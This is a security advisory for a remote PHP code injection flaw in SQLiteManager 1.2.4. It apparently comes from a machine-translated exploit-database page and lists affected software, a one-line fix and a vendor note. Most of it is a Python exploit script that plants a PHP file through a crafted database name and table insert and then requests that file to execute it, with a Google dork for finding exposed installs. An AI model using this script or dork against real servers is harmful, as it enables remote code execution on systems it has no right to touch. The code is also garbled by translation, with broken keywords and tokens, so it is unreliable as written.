SQLiteManager 'add _ database. php' Remote php Code Injection Vulnerability

Release date:
Updated on:

Affected Systems:
Sourceforge sqlitemanager 1.2.4
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57560
 
SQLiteManager is a multilingual Web tool for managing SQLite databases.
 
SQLiteManager 1.2.4 and other versions have the Remote PHP code injection vulnerability. Attackers can exploit this vulnerability to execute arbitrary PHP code in affected applications.
 
<* Source: RealGame
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Description:
========================================================== ======================================
Exploit Title: SQLiteManager 0Day Remote PHP Code Injection Vulnerability
Google Dork: intitle: SQLiteManager inurl: sqlite/
Date: 23/01/2013
Exploit Author: RealGame
Vendor Homepage: http://www.Relagame.co.il
Software Link: http://sourceforge.net/projects/sqlitemanager/
Version: <= 1.2.4
Tested on: Windows XP, Debian 2.6.32-46
CVE: N/
========================================================== ======================================
Vulnerable Softwares:

Name: SQLiteManager
Official Site: http://www.sqlitemanager.org/

Name: Ampps
Official Site: http://www.ampps.com/

Name: VertrigoServ
Official Site: http://vertrigo.sourceforge.net/
========================================================== ======================================
About Software:
Official Site: http://www.sqlitemanager.org/
SQLiteManager is a database manager for SQLite databases. You can manage
Any SQLite database created on any platform with SQLiteManager.
========================================================== ======================================
Easy Way To Fix:
Find: SQLiteStripSlashes ($ _ POST ['dbpath'])
Replace: str_replace ('.', '', SQLiteStripSlashes ($ _ POST ['dbpath'])
On File:./include/add_database.php
========================================================== ======================================

Import re
Import urllib2
From urllib import urlencode
From sys import argv, exit

Def strip_tags (value ):
# Strip tags with RegEx
Return re. sub ('<[^>] *?> ', '', Value)

Def getDbId (sqliteUrl, myDbName ):
# Find Components
HtmlRes = urllib2.urlopen (sqliteUrl, None, 120). read ()
If htmlRes:
# If you found it take all the rows
Td = re. findall ('<td class = "name_db"> (.*?) </Td> ', htmlRes, re. DOTALL)
# Make a dict of stripped columns
For element in td:
If strip_tags (element) = myDbName:
# Return Id
Return "". join (re. findall ('\? Dbsel = (.*?) "', Element, re. DOTALL ))
Return None

Def main ():
Print \
'Sqlitemanager Exploit \ n' + \
'Made By RealGame \ n' + \
'Http: // www. RealGame. co. il \ N'

If len (argv) <2:
# Replace ('\', '/')-To Do The Same In Win And Linux
Filename = argv [0]. replace ('\', '/'). split ('/') [-1]

Print 'execute Example: '+ filename + 'HTTP: // 127.0.0.1/sqlite/\ N'
Exit ()

SqliteUrl = argv [1]
MyDbName = "phpinfo"
MyDbFile = "phpinfo. php"
# Create Database
Params = {'dbname': myDbName,
'Dbversion': '2 ',
'Dbrealpath': None,
'Dbpath': myDbFile,
'Action': 'savedb '}
Urllib2.urlopen (sqliteUrl + "main. php", urlencode (params), 120)
# Get Database ID
DbId = getDbId (sqliteUrl + "left. php", myDbName)
# If Database Created
If dbId:
# Create Table + Shell Creator
Params = {'displayquery': 'create TABLE temptab (codetab text); \ n' + \
'Insert INTO temptab VALUES (\ '<? Php phpinfo (); unlink (_ FILE _);?> \ '); \ N ',
'Sqlfile': None,
'Action': 'SQL ',
'Sqltype': '1 '}
Urllib2.urlopen (sqliteUrl + "main. php? Dbsel = % s & table = temptab "% dbId, urlencode (params), 120)
# Inject Code
Urllib2.urlopen (sqliteUrl + mydb file, None, 120)
# Remove Database
Urllib2.urlopen (sqliteUrl + "main. php? Dbsel = % s & table = & view = & trigger = & function = & action = del "% dbId, None, 120)

Print 'succeed'
Return

Print 'failed'

If _ name _ = '_ main __':
Main ()

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Sourceforge
-----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://sourceforge.net/projects/sqlitemanager/